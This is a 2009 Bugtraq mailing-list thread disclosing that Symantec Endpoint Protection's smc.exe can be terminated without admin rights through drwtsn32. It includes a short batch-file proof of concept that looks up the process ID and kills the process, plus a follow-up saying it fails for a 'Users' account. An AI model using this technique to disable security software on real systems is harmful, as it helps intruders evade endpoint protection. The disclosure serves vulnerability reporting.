bugtraq - Re: SEPKILL /im SMC.EXE /f

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Date: Fri, 13 Feb 2009 19:03:20 +0530
From: "Sandeep Cheema" <51l3n7@...e.in>
To: <bugtraq@...urityfocus.com>
Subject: Re: SEPKILL /im SMC.EXE /f

As an update its not happening for "Users" account, Though no access denied.

Anyone knows why?

Thank you.

Regards, Sandeep

--------------------------------------------------
From: "Sandeep Cheema" <51l3n7@...e.in>
Sent: Friday, February 13, 2009 6:18 PM
To: <bugtraq@...urityfocus.com>
Subject: SEPKILL /im SMC.EXE /f

> Hi,
>
> Probably this bug exists on majorly all the software's but security 
> software's like antivirus and firewall have to bucket it which is not what 
> its for SEP.
> I have tested it on all versions of SEP from 11.0.776 to 11.0.4000(XP and 
> 2k3)
>
>
> You can kill smc.exe with the help of drwtsn32.exe in the following way.
>
> drwtsn32 -p %pid%
> where pid is the process id for smc.exe
>
> POC:
>
> Save the following as a batch file and execute it
>
> tasklist | find /i "Smc.exe" > c:\pid.txt
> FOR /F "tokens=2" %%R IN ('TYPE "c:\pid.txt"') DO SET pidopt=%%R
> drwtsn32 -p %pidopt%
>
>
>
> You don't need admin privilege for this exploit.
>
> This will even bypass the password if it has been set to stop the service.
> If executed from the command line in the form drwtsn32 -p %pid% , the 
> command will be executed and it takes some time for the process to be 
> stopped.
> If done from a batch file the command is completed only when the process 
> is stopped.
>
> Regards, Sandeep
> 51l3n7[at]live.in
>
>
>